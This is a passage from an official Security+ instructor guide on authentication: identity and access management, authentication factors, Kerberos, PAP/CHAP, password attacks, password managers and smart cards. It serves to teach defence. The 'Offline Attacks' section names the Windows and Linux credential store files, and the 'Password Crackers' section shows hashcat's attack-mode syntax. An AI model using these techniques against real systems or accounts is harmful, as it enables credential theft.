covered throughout
Lessons 7 and 8. Identity and Access Management
Show Slide(s)
An access control system is the set of technical controls that govern how subjects may
interact with objects. Subjects in this sense are users, devices, or software processes,
Identity and Access or anything else that can request and be granted access to a resource. Objects are the
Management resources; these could be networks, servers, databases, files, and so on. An identity
Teaching and access management (IAM) system is usually described in terms of four main
Tip processes:
Stress the distinction • Identification—creating an account or ID that uniquely represents the user, device,
between identification or process on the network.
(basically, performing
identity proofing • Authentication—proving that a subject is who or what it claims to be when it
and creating a attempts to access the resource.
user account) and
authentication (the • Authorization—determining what rights subjects should have on each resource,
process that proves
and enforcing those rights.
that a user account is
being accessed by the
user for whom it was
• Accounting—tracking authorized usage of a resource or use of rights by a subject
created). and alerting when unauthorized use is detected or attempted.
The term IAM reflects
the importance of
the identification
component, which is
omitted in the earlier
AAA framework.
Students can think of
IAAAM, perhaps.

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 149

Differences among identification, authentication, authorization, and accounting. (Images © 123RF.com.)

IAM enables you to define the attributes that make up an entity's identity, such as its
purpose, function, security clearance, and more. These attributes subsequently enable
access management systems to make informed decisions about whether to grant
or deny an entity access, and if granted, decide what the entity has authorization to
do. For example, an individual employee may have his or her own identity in the IAM
system. The employee's role in the company factors into his or her identity, such as
what department the employee is in and whether the employee is a manager. For
example, if you are setting up an e-commerce site and want to enroll users, you need
to select the appropriate controls to perform each function:
• Identification—ensure that customers are legitimate. For example, you might need
to ensure that billing and delivery addresses match and that they are not trying to
use fraudulent payment methods.

• Authentication—ensure that customers have unique accounts and that only they
can manage their orders and billing information.

• Authorization—rules to ensure customers can place orders only when they

have valid payment mechanisms in place. You might operate loyalty schemes or
promotions that authorize certain customers to view unique offers or content.

• Accounting—the system must record the actions a customer takes (to ensure that
they cannot deny placing an order, for instance).

The servers and protocols that implement these functions are referred to as
authentication, authorization, and accounting (AAA). The use of IAM to describe
enterprise processes and workflows is becoming more prevalent as the importance of
the identification phase is better acknowledged.

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 150 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Authentication Factors

Authentication Factors
Assuming that an account has been created securely (the identity of the account holder
has been verified), authentication verifies that only the account holder is able to use
Teaching the account, and that the system may only be used by account holders. Authentication
Tip is performed when the account holder supplies the appropriate credentials (or
Multifactor authenticators) to the system. These are compared to the credentials stored on the
authentication as system. If they match, the account is authenticated.
a principle should
be familiar to the There are many different technologies for defining credentials and can be categorized
students from A+ and as factors.
Network+, but there
are some additional Something You Know Authentication
attributes concepts
that require attention. The typical knowledge factor is the logon, composed of a username and a password.
We present the detail The username is typically not a secret (although it should not be published openly),
on the ownership and but the password must be known only to the account holder. A passphrase is a longer
biometric factors in password composed of several words. This has the advantages of being more secure
separate topics later in
the lesson.
and easier to remember. A personal identification number (PIN) is also something
you know, although long PIN codes are hard to remember, and short codes are
You might want
to note the use of too vulnerable for most authentication systems. Swipe patterns are often used for
CAPTCHA here too. authentication to touch-based devices.
This isn't a content
example, but it is in
the acronyms list and
included as a glossary
term.

Windows sign-in screen. (Screenshot used with permission from Microsoft.)

A knowledge factor is also used for account reset mechanisms. For example, to reset
the password on an account, the user might have to respond to a challenge question,
such as, "What is your favorite movie?"

Something You Have Authentication

An ownership factor means that the account holder possesses something that no one
else does, such as a smart card, fob, or wristband programmed with a unique identity

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 151

certificate or account number. Alternatively, they might have a USB fob that generates
a unique code. These ownership factors can be described as hard tokens.
A device such as a smartphone can also be used to receive a uniquely generated
access code as a soft token. Unlike a password, these tokens are valid for only one use,
typically within a brief time window.

Something You Are/Do Authentication

A biometric factor uses either physiological identifiers, such as a fingerprint, or
behavioral identifiers, such as the way someone moves (gait). The identifiers are
scanned and recorded as a template. When the user authenticates, another scan is
taken and compared to the template.

Authentication Design Show Slide(s)

Authentication design refers to selecting a technology that meets requirements for Authentication Design
confidentiality, integrity, and availability:
• Confidentiality, in terms of authentication, is critical, because if account credentials
are leaked, threat actors can impersonate the account holder and act on the system
with whatever rights they have.

• Integrity means that the authentication mechanism is reliable and not easy for
threat actors to bypass or trick with counterfeit credentials.

• Availability means that the time taken to authenticate does not impede workflows
and is easy enough for users to operate.

Authentication is used in different contexts and factors are not always well-suited
to a context. For example, you might authenticate to a PC by inputting a password
to get access to the device. This might also authenticate you to a network. But
authentication is also used for physical security. If you consider numerous employees
arriving for work, asking them to type a password to gain access to the building
would take too long and cause huge disruption (lack of availability). It is also highly
likely that passwords would be observed (lack of confidentiality). Finally, it is likely
that users would simply start holding the door open for each other (lack of integrity).
Authentication design tries to anticipate these issues and implements a technology that
fits the use case.

Multifactor Authentication Show Slide(s)

An authentication technology is considered strong if it combines the use of more than Multifactor
one type of knowledge, ownership, and biometric factor, and is called multifactor Authentication
authentication (MFA). Single-factor authentication can quite easily be compromised: a
password could be written down or shared, a smart card could be lost or stolen, and a Teaching
biometric system could be subject to high error rates or spoofing. Tip
We will introduce the
Two-Factor Authentication (2FA) combines either an ownership-based smart card or concept later, but you
biometric identifier with something you know, such as a password or PIN. Three-factor might want to mention
authentication combines all three technologies, or incorporates an additional attribute, 2-step verification
such as location; for example, a smart card with integrated fingerprint reader. This here, to contrast with
means that to authenticate, the user must possess the card, the user's fingerprint must MFA.
match the template stored on the card, and the user must input a PIN or password.

Multifactor authentication requires a combination of different technologies. For example,

requiring a PIN along with date of birth may be stronger than entering a PIN alone, but it is
not multifactor.

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 152 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Authentication Attributes

Authentication
Compared to the three main authentication factors, an authentication attribute is
Attributes either a non-unique property or a factor that cannot be used independently.

Teaching Somewhere You Are Authentication

Tip
Attributes can be
Location-based authentication measures some statistic about where you are. This
distinguished from could be a geographic location, measured using a device's location service, or it could
factors as information be by IP address. A device's IP address could be used to refer to a logical network
that is not unique or segment, or it could be linked to a geographic location using a geolocation service.
that is not reliable/fast Within a premises network, the physical port location, virtual LAN (VLAN), or Wi-Fi
enough to use as a network can also be made the basis of location-based authentication.
primary authentication
mechanism. Location-based authentication is not used as a primary authentication factor, but
Attributes can be it may be used as a continuous authentication mechanism or as an access control
used for secondary
feature. For example, if a user enters the correct credentials at a VPN gateway but his
or continuous
authentication/access or her IP address shows him/her to be in a different country than expected, access
control mechanisms. controls might be applied to restrict the privileges granted or refuse access completely.
Another example is where a user appears to login from different geographic locations
that travel time would make physically impossible.

Something You Can Do Authentication

Behavioral characteristics, such as the way you walk or the way you hold your
smartphone, can uniquely identify you to a considerable degree of activity. Although
this factor is impractical to use for primary authentication, it can be used for contextual
and continual authentication to ensure that a device continues to be operated by the
owner.

Something You Exhibit Authentication

Something you exhibit also refers to behavioral-based authentication and authorization,
with specific emphasis on personality traits. For example, the way you use smartphone
apps or web search engines might conform to a pattern of behavior that can be
captured by machine learning analysis as a statistical template. If someone else uses
the device, their behavior will be different, and this anomalous pattern could be used
to lock the device and require re-authentication.

Someone You Know Authentication

A someone you know authentication scheme uses a web of trust model, where new
users are vouched for by existing users. As the user participates in the network, their
identity becomes better established. One example is the decentralized web of trust
model, used by Pretty Good Privacy (PGP) as an alternative to PKI (weboftrust.info/
index.html).

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 153

Review Activity:
Authentication Design Concepts
Answer the following questions:

1. What is the difference between authorization and authentication?

Authorization means granting the account that has been configured for the user on
the computer system the right to make use of a resource. Authorization manages
the privileges granted on the resource. Authentication protects the validity of the user
account by testing that the person accessing that account is who she/he says she/he is.

2. What steps should be taken to enroll a new employee on a domain network?

Perform checks to confirm the user's identity, issue authentication credentials securely,
assign appropriate permissions/privileges to the account, and ensure accounting
mechanisms to audit the user's activity.

3. True or false? An account requiring a password, PIN, and smart card is an

example of three-factor authentication.

False—Three-factor authentication also includes a biometric-, behavioral-, or location-

based element. The password and PIN elements are the same factor (something
you know).

4. What methods can be used to implement location-based authentication?

You can query the location service running on a device or geolocation by IP. You could
use location with the network, based on switch port, wireless network name, virtual
LAN (VLAN), or IP subnet.

Lesson 7: Implementing Authentication Controls | Topic 7A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 154 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 7B
Implement Knowledge-Based
Authentication

Teaching EXAM OBJECTIVES COVERED

Tip 1.2 Given a scenario, analyze potential indicators to determine the type of attack
3.8 Given a scenario, implement authentication and authorization solutions
This topic focuses on
the implementation
4.1 Given a scenario, use the appropriate tool to assess organizational security (password
of knowledge factor crackers only)
mechanisms, including
attacks on password Knowledge-based authentication refers primarily to issuing users with password-based
credentials. account access mechanisms. Configuring password-based authentication protocols
and supporting users with authentication issues is an important part of the information
security role. In this topic, you will learn how some common authentication protocols
work and about the ways that they can be put at risk by password cracking techniques.

Show Slide(s) Local, Network, and Remote Authentication

Local, Network,
One of the most important features of an operating system is the authentication
and Remote provider, which is the software architecture and code that underpins the mechanism
Authentication by which the user is authenticated before starting a shell. This is usually described
as a login (Linux) or a logon or sign-in (Microsoft). Knowledge-based authentication,
Teaching using a password or personal identification number (PIN), is the default authentication
Tip provider for most operating systems.
The syllabus does
not mention local Knowledge-based authentication relies on cryptographic hashes. A plaintext password
authentication is not usually transmitted or stored in a credential database because of the risk of
specifically, although compromise. Instead, the password is stored as a cryptographic hash. When a user
PAM is in the enters a password to log in, an authenticator converts what is typed into a hash and
acronyms list. It is wise
transmits that to an authority. The authority compares the submitted hash to the one
to check that students
grasp the basics. in the database and authenticates the subject only if they match.

Windows Authentication
Windows authentication involves a complex architecture of components (docs.
microsoft.com/en-us/windows-server/security/windows-authentication/credentials-
processes-in-windows-authentication), but the following three scenarios are typical:
• Windows local sign-in—the Local Security Authority (LSA) compares the submitted
credential to a hash stored in the Security Accounts Manager (SAM) database, which
is part of the registry. This is also referred to as interactive logon.

• Windows network sign-in—the LSA can pass the credentials for authentication to
a network service. The preferred system for network authentication is based on
Kerberos, but legacy network applications might use NT LAN Manager (NTLM)
authentication.

• Remote sign-in—if the user's device is not connected to the local network,
authentication can take place over some type of virtual private network (VPN) or
web portal.

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 155

Linux Authentication
In Linux, local user account names are stored in /etc/passwd. When a user logs
in to a local interactive shell, the password is checked against a hash stored in /etc/
shadow. Interactive login over a network is typically accomplished using Secure Shell
(SSH). With SSH, the user can be authenticated using cryptographic keys instead of a
password.
A pluggable authentication module (PAM) is a package for enabling different
authentication providers, such as smart-card login (tecmint.com/configure-pam-
in-centos-ubuntu-linux). The PAM framework can also be used to implement
authentication to network servers.

Single Sign-On (SSO)

A single sign-on (SSO) system allows the user to authenticate once to a local device
and be authenticated to compatible application servers without having to enter
credentials again. In Windows, SSO is provided by the Kerberos framework.

Kerberos Authentication Show Slide(s)

Kerberos is a single sign-on network authentication and authorization protocol used Kerberos
on many networks, notably as implemented by Microsoft's Active Directory (AD) Authentication
service. Kerberos was named after the three-headed guard dog of Hades (Cerberus)
because it consists of three parts. Clients request services from application servers, Teaching
which both rely on an intermediary—a Key Distribution Center (KDC)—to vouch for Tip
their identity. There are two services that make up a KDC: the Authentication Service Kerberos can be
and the Ticket Granting Service. The KDC runs on port 88 using TCP or UDP. difficult to follow, with
multiple use of secret
and session keys from
different sources.
Stress the main point
that Kerberos provides
single sign-on through
the use of tickets or
tokens.
Note the use of
time-stamping to
defeat replay attacks
and the use of
symmetric, rather
than asymmetric,
encryption (i.e.,
contrast Kerberos with
PKI).

Teaching
Tip
The server can decrypt
Kerberos Authentication Service. (Images © 123RF.com.) the request because
it holds a copy of the
user's password hash.
The Authentication Service is responsible for authenticating user logon requests. More This shows that the
generally, users and services can be authenticated; these are collectively referred to user has entered the
as principals. For example, when you sit at a Windows domain workstation and log correct password and
on to a realm (or domain), the first step of logon is to authenticate with a KDC server, that the system time
implemented as a domain controller. is valid.

1. The client sends the authentication service (AS) a request for a Ticket Granting
Ticket (TGT). This is composed by encrypting the date and time on the local
computer with the user's password hash as the key.

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 156 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

The password hash itself is not transmitted over the network. Also, although we refer
to passwords for simplicity, the system can use other authentication providers, such as
smart-card logon.

The Ticket Granting Ticket (TGT; or user ticket) is time-stamped (under Windows, they have
a default maximum age of 10 hours). This means that workstations and servers on the
network must be synchronized (to within five minutes) or a ticket will be rejected. This helps
prevent replay attacks.

2. The AS checks that the user account is present, that it can decode the request by
matching the user's password hash with the one in the Active Directory database,
and that the request has not expired. If the request is valid, the AS responds with
the following data:

• Ticket Granting Ticket (TGT)—this contains information about the client (name
and IP address) plus a timestamp and validity period. This is encrypted using
the KDC's secret key.

• TGS session key for use in communications between the client and the Ticket
Granting Service (TGS). This is encrypted using a hash of the user's password.

The TGT is an example of a logical token. All the TGT does is identify who you are and
confirm that you have been authenticated—it does not provide you with access to any
domain resources.

Show Slide(s) Kerberos Authorization

Kerberos
Presuming the user entered the correct password, the client can decrypt the Ticket
Authorization Granting Service (TGS) session key but not the TGT. This establishes that the client and
KDC know the same shared secret and that the client cannot interfere with the TGT.
Teaching
Tip
1. To access resources within the domain, the client requests a Service Ticket (a
token that grants access to a target application server). This process of granting
The client does not
know the application
service tickets is handled by the TGS.
server's password
and vice versa. Only
2. The client sends the TGS a copy of its TGT and the name of the application server
the KDC knows both it wishes to access plus an authenticator, consisting of a time-stamped client ID
passwords. encrypted using the TGS session key.

The TGS should be able to decrypt both messages using the KDC's secret key for
the first and the TGS session key for the second. This confirms that the request
is genuine. It also checks that the ticket has not expired and has not been used
before (replay attack).

3. The TGS service responds with:

• Service session key—for use between the client and the application server.
This is encrypted with the TGS session key.

• Service ticket—containing information about the user, such as a timestamp,

system IP address, Security Identifier (SID) and the SIDs of groups to which
he or she belongs, and the service session key. This is encrypted using the
application server's secret key.

4. The client forwards the service ticket, which it cannot decrypt, to the application
server and adds another time-stamped authenticator, which is encrypted using
the service session key.

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 157

Kerberos Ticket Granting Service. (Images © 123RF.com.)

5. The application server decrypts the service ticket to obtain the service session
key using its secret key, confirming that the client has sent it an untampered
message. It then decrypts the authenticator using the service session key.

6. Optionally, the application server responds to the client with the timestamp used
in the authenticator, which is encrypted by using the service session key. The
client decrypts the timestamp and verifies that it matches the value already sent,
and concludes that the application server is trustworthy.
Show Slide(s)
This means that the server is authenticated to the client (referred to as mutual
authentication). This prevents a man-in-the-middle attack, where a malicious user PAP, CHAP, and MS-
could intercept communications between the client and server. CHAP Authentication

7. The server now responds to client requests (assuming they conform to the Teaching
server's access control list). Tip
Even though there
The data transfer itself is not encrypted (at least as part of Kerberos; some sort of transport aren't too many
encryption can be deployed). scenarios where either
CHAP or PAP are
chosen these days,
remind students that
some exam questions
One of the noted drawbacks of Kerberos is that the KDC represents a single point-
might not reflect
of-failure for the network. In practice, backup KDC servers can be implemented (for the legacy nature of
example, Active Directory supports multiple domain controllers, each of which are some technologies.
running the KDC service). These protocols can
be deployed more-or-
less securely within an
PAP, CHAP, and MS-CHAP Authentication encrypted tunnel (SSL
or SSH, for instance).
Kerberos is designed to work over a trusted local network. Several authentication The idea here is that
protocols have been developed to work with remote access protocols, where the you use PKI certificates
connection is made over a serial link or virtual private network (VPN). for machine
authentication,
then perform user
Password Authentication Protocol (PAP) authentication
through the secure
The Password Authentication Protocol (PAP) is an unsophisticated authentication tunnel. (See the topic
method developed as part of the Point-to-Point Protocol (PPP), used to transfer TCP/ on EAP.)

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 158 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

IP data over serial or dial-up connections. It is also used as the basic authentication
mechanism in HTTP. It relies on clear text password exchange and is therefore obsolete
for most purposes, except through an encrypted tunnel.

Challenge Handshake Authentication Protocol (CHAP)

The Challenge Handshake Authentication Protocol (CHAP) was also developed as
part of PPP as a means of authenticating users over a remote link. CHAP relies on an
encrypted challenge in a system called a three-way handshake.
1. Challenge—the server challenges the client, sending a randomly generated
challenge message.

2. Response—the client responds with a hash calculated from the server challenge
message and client password (or other shared secret).

3. Verification—the server performs its own hash using the password hash stored
for the client. If it matches the response, then access is granted; otherwise, the
connection is dropped.

The handshake is repeated with a different challenge message periodically during the
connection (although transparent to the user). This guards against replay attacks, in
which a previous session could be captured and reused to gain access.
MS-CHAPv2 is Microsoft's implementation of CHAP. Because of the way it uses
vulnerable NTLM hashes, MS-CHAP should not be deployed without the protection of a
secure connection tunnel so that the credentials being passed are encrypted.

Defining allowed authentication mechanisms on a Windows VPN.

(Screenshot used with permission from Microsoft.)

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 159

Password Attacks Show Slide(s)

When a user chooses a password, the password is converted to a hash using a Password Attacks
cryptographic function, such as MD5 or SHA. This means that, in theory, no one
except the user (not even the system administrator) knows the password, because the Teaching
plaintext should not be recoverable from the hash. Tip
The best defense
Plaintext/Unencrypted Attacks against password
crackers is to ensure
A plaintext/unencrypted attack exploits password storage or a network authentication the use of strong
protocol that does not use encryption. Examples include PAP, basic HTTP/FTP passwords (and not
authentication, and Telnet. These protocols must not be used. Passwords must to use clear-text
protocols, of course).
never be saved to an unmanaged file. One common source of credential breaches is
You must also restrict
passwords embedded in application code that has subsequently been uploaded to a access to password
public repository. databases carefully
to try to prevent any
Online Attacks sort of eavesdropper
from running on your
An online password attack is where the threat actor interacts with the authentication networks.
service directly—a web login form or VPN gateway, for instance. The attacker submits
passwords using either a database of known passwords (and variations) or a list of
passwords that have been cracked offline.

Also, be aware that there are databases of username and password/password hash
combinations for multiple accounts stored across the Internet. These details derive from
successful hacks of various companies' systems. These databases can be searched using a
site such as haveibeenpwned.com.

An online password attack can show up in audit logs as repeatedly failed logons and
then a successful logon, or as successful logon attempts at unusual times or locations.
Apart from ensuring the use of strong passwords by users, online password attacks
can be mitigated by restricting the number or rate of logon attempts, and by shunning
logon attempts from known bad IP addresses.

Note that restricting logons can be turned into a vulnerability as it exposes the account to
denial of service attacks. The attacker keeps trying to authenticate, locking out valid users.

Password Spraying
Password spraying is a horizontal brute-force online attack. This means that the
attacker chooses one or more common passwords (for example, password or
123456) and tries them in conjunction with multiple usernames.
Offline Attacks
An offline attack means that the attacker has managed to obtain a database of
password hashes, such as %SystemRoot%\System32\config\SAM,
%SystemRoot%\NTDS\NTDS.DIT (the Active Directory credential store), or /
etc/shadow. Once the password database has been obtained, the cracker does not
interact with the authentication system. The only indicator of this type of attack (other
than misuse of the account in the event of a successful attack) is a file system audit log
that records the malicious account accessing one of these files. Threat actors can also
read credentials from host memory, in which case the only reliable indicator might be
the presence of attack tools on a host.
If the attacker cannot obtain a database of passwords, a packet sniffer might be used
to obtain the client response to a server challenge in a protocol such as NTLM or

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 160 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

CHAP/MS-CHAP. Although these protocols avoid sending the hash of the password
directly, the response is derived from it in some way. Password crackers can exploit
weaknesses in a protocol to calculate the hash and match it to a dictionary word or
brute force it.

Show Slide(s) Brute-Force and Dictionary Attacks

Brute-Force and
Some password attacks exploit the weak credentials chosen by users. Others can
Dictionary Attacks exploit vulnerabilities in the storage mechanism. For example, the Windows SAM
database can be configured to store hashes for compatibility with older versions (LM
Teaching and NTLMv1 hashes). These legacy hashes are cryptographically weak and highly
Tip vulnerable to password cracking (ldapwiki.com/wiki/LM%20hash).
You might want
to note the use of Brute-Force Attack
machine learning to
facilitate brute-force A brute-force attack attempts every possible combination in the output space in
attacks (darkreading. order to match a captured hash and guess at the plaintext that generated it. The
com/analytics/ output space is determined by the number of bits used by the algorithm (128-bit MD5
passgan-password-
or 256-bit SHA256, for instance). The larger the output space and the more characters
cracking-using-
machine-learning/d/d- that were used in the plaintext password, the more difficult it is to compute and test
id/1329964). each possible hash to find a match. Brute-force attacks are heavily constrained by
time and computing resources, and are therefore most effective at cracking short
Interaction passwords. However, brute-force attacks distributed across multiple hardware
Opportunity components, like a cluster of high-end graphics cards, can be successful at cracking
You can direct longer passwords.
students to a brute-
force calculator to test Dictionary and Rainbow Table Attacks
a few passwords (grc.
com/haystack.htm, for A dictionary attack can be used where there is a good chance of guessing the likely
example). value of the plaintext, such as a non-complex password. The software generates hash
values from a dictionary of plaintexts to try to match one to a captured hash. Rainbow
table attacks refine the dictionary approach. The attacker uses a precomputed lookup
table of all possible passwords and their matching hashes. Not all possible hash
values are stored, as this would require too much memory. Values are computed
in chains, and only the first and last values need to be stored. The hash value of a
stored password can then be looked up in the table and the corresponding plaintext
discovered.
Using a salt to add a random value to the stored plaintext helps to slow down
rainbow table attacks, because the tables cannot be created in advance and must be
recreated for each combination of password and salt value. Rainbow tables are also
impractical when trying to discover long passwords (more than about 14 characters).
UNIX and Linux password storage mechanisms use salt, but Windows does not.
Consequently, in a Windows environment, it is even more important to enforce strong
password policies.

Hybrid Attack
A hybrid password attack uses a combination of dictionary and brute-force attacks.
It is principally targeted against naïve passwords with inadequate complexity, such
as james1. The password cracking algorithm tests dictionary words and names in
combination with a mask that limits the number of variations to test for, such as adding
numeric prefixes and/or suffixes. Other types of algorithms can be applied, based on
what hackers know about how users behave when forced to select complex passwords
that they don't really want to make hard to remember. Other examples might include
substituting "s" with "5" or "o" with "0."

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 161

Password Crackers Show Slide(s)

Although there are some Windows tools, including the infamous Cain and L0phtcrack Password Crackers
(l0phtcrack.com) tools, most password crackers run primarily on Linux. For example, a
tool such as Hashcat (hashcat.net/hashcat) is run using the following general syntax:
hashcat -m HashType -a AttackMode -o OutputFile
InputHashFile
The input file should contain hashes of the same type, using the specified format
(hashcat.net/wiki/doku.php?id=example_hashes). Hashcat can be used with a single
word list (dictionary mode -a 0) or multiple word lists (combinator mode -a 1).
Mode -a 3 performs a brute-force attack, but this can be combined with a mask for
each character position. This reduces the key space that must be searched and speeds
up the attack. For example, you might learn or intuit that a company uses only letter
characters in passwords. By omitting numeric and symbol characters, you can speed
up the attack on each hash.

Running a masked brute-force attack—this example is running on a VM, so the recovery rate is very low.
(Screenshot hashcat hashcat.net/hashcat.)

Authentication Management Show Slide(s)

Users often adopt poor credential management practices that are very hard to control, Authentication
such as using the same password for corporate networks and consumer websites. This Management
makes enterprise network security vulnerable to data breaches from these websites.
An authentication management solution for passwords mitigates this risk by using a
device or service as a proxy for credential storage. The manager generates a unique,
strong password for each web-based account. The user authorizes the manger to
authenticate with each site using a master password.
Password managers can be implemented with a hardware token or as a software app:
• Password key—USB tokens for connecting to PCs and smartphones. Some can
use nearfield communications (NFC) or Bluetooth as well as physical connectivity
(theverge.com/2019/2/22/18235173/the-best-hardware-security-keys-yubico-titan-
key-u2f).

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 162 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Password vault—software-based password manager, typically using a cloud service

to allow access from any device (pcmag.com/picks/the-best-password-managers).
A USB key is also likely to use a vault for backup. Most operating systems and
browsers implement native password vaults. Examples include Windows Credential
Manager and Apple's iCloud Keychain (imore.com/icloud-keychain).

Authentication management products can be certified under the Federal Information

Processing Standard (FIPS 140-2). This provides assurance that the cryptographic
implementation meets a certain level of robustness.

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 163

Review Activity:
Knowledge-Based Authentication
Answer the following questions:

1. Why might a PIN be a particularly weak type of something you know

authentication?

A long personal identification number (PIN) is difficult for users to remember, but
a short PIN is easy to crack. A PIN can only be used safely where the number of
sequential authentication attempts can be strictly limited.

2. In what scenario would PAP be considered a secure authentication method?

PAP is a legacy protocol that cannot be considered secure because it transmits

plaintext ASCII passwords and has no cryptographic protection. The only way to ensure
the security of PAP is to ensure that the endpoints established a secure tunnel (using
IPSec, for instance).

3. True or false? In order to create a service ticket, Kerberos passes the user's
password to the target application server for authentication.

False—only the KDC verifies the user credential. The Ticket Granting Service (TGS)
sends the user's account details (SID) to the target application for authorization
(allocation of permissions), not authentication.

4. A user maintains a list of commonly used passwords in a file located

deep within the computer's directory structure. Is this secure password
management?

No. This is security by obscurity. The file could probably be easily discovered using
search tools.

5. Which property of a plaintext password is most effective at defeating a

brute-force attack?

The length of the password. If the password does not have any complexity (if it is just
two dictionary words, for instance), it may still be vulnerable to a dictionary-based
attack. A long password may still be vulnerable if the output space is small or if the
mechanism used to hash the password is faulty (LM hashes being one example).

Lesson 7: Implementing Authentication Controls | Topic 7B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 164 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 7C
Implement Authentication Technologies

Teaching EXAM OBJECTIVES COVERED

Tip 2.4 Summarize authentication and authorization design concepts
3.3 Given a scenario, implement secure network designs (HSM only)
This topic covers the
ownership factor. As
3.8 Given a scenario, implement authentication and authorization solutions
well as smart cards,
HSMs, and tokens, Authentication technologies can be used as a something you have or ownership/
we look at EAP and possession factor. Many organizations are deploying multifactor authentication
RADIUS/TACACS+ systems based on smart cards and USB key fobs. You are likely to have to support the
as certificate-based
installation and configuration of these technologies during your career.
authentication
mechanisms.
Show Slide(s) Smart-Card Authentication
Smart-card authentication means programming cryptographic information onto
Smart-Card a card equipped with a secure processing chip. The chip stores the user's digital
Authentication
certificate, the private key associated with the certificate, and a personal identification
Teaching number (PIN) used to activate the card.
Tip For Kerberos authentication, smart-card logon works as follows:
Multifactor
1. The user presents the smart card to a reader and is prompted to enter a PIN.
authentication is
a strong solution 2. Inputting the correct PIN authorizes the smart card's cryptoprocessor to use its
but can also be an
expensive one. Along
private key to create a Ticket Granting Ticket (TGT) request, which is transmitted
with hardware and to the authentication server (AS).
software costs, there
may be additional
3. The AS is able to decrypt the request because it has a matching public key and
support costs when trusts the user's certificate, either because it was issued by a local certification
authentication fails authority or by a third-party CA that is a trusted root CA.
and a valid user
cannot access the 4. The AS responds with the TGT and Ticket Granting Service (TGS) session key.
network.
"Smart card" can refer to a wide range of different technologies. Secure Kerberos-based
authentication requires a card with a cryptoprocessor (smartcardbasics.com/smart-card-
types.html).

Show Slide(s)
Key Management Devices
Key Management When using public key infrastructure (PKI) for smart-card authentication, the security of
Devices the private key issued to each user is critical. One problem is that only the user should
ever be in ownership of the private key. If the network administrator is able to view these
Teaching
keys, they can impersonate any subject. Various technologies can be used to avoid the
Tip
need for an administrator to generate a private key and transmit it to the user:
Although CAC and PIV
are no longer content • Smart card—some cards are powerful enough to generate key material using the
examples, they are cryptoprocessor embedded in the card.
still in the acronyms
list. There are glossary • USB key—a cryptoprocessor can also be implemented in the USB form factor.
terms for both, if you
want to draw students' • Trusted Platform Module (TPM)—a secure cryptoprocessor enclave implemented on
attention to them. a PC, laptop, smartphone, or network appliance. The TPM is usually a module within

Lesson 7: Implementing Authentication Controls | Topic 7C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 165

the CPU. Modification of TPM data is only permitted by highly trusted processes. A
TPM can be used to present a virtual smart card (docs.microsoft.com/en-us/windows/
security/identity-protection/virtual-smart-cards/virtual-smart-card-overview).

Smart cards, USB keys, and virtual smart cards are provisioned as individual devices.
Often keys need to be provisioned to non-user devices too, such as servers and
network appliances. A hardware security module (HSM) is a network appliance
designed to perform centralized PKI management for a network of devices. This means
that it can act as an archive or escrow for keys in case of loss or damage. Compared
to using a general-purpose server for certificate services, HSMs are optimized for
the role and so have a smaller attack surface. HSMs are designed to be tamper-
evident to mitigate risk of insider threat, and can also provide enterprise-strength
cryptographically secure pseudorandom number generators (CSPRNGs). HSMs can be
implemented in several form factors, including rack-mounted appliances, plug-in PCIe
adapter cards, and USB-connected external peripherals.

The FIPS 140-2 scheme provides accreditation for cryptographically strong products.
(ncipher.com/faq/key-secrets-management/what-fips-140-2.)

Smart card, smart card reader, and hardware security module (Images © 123RF.com.)

Extensible Authentication Protocol/IEEE 802.1X Show Slide(s)

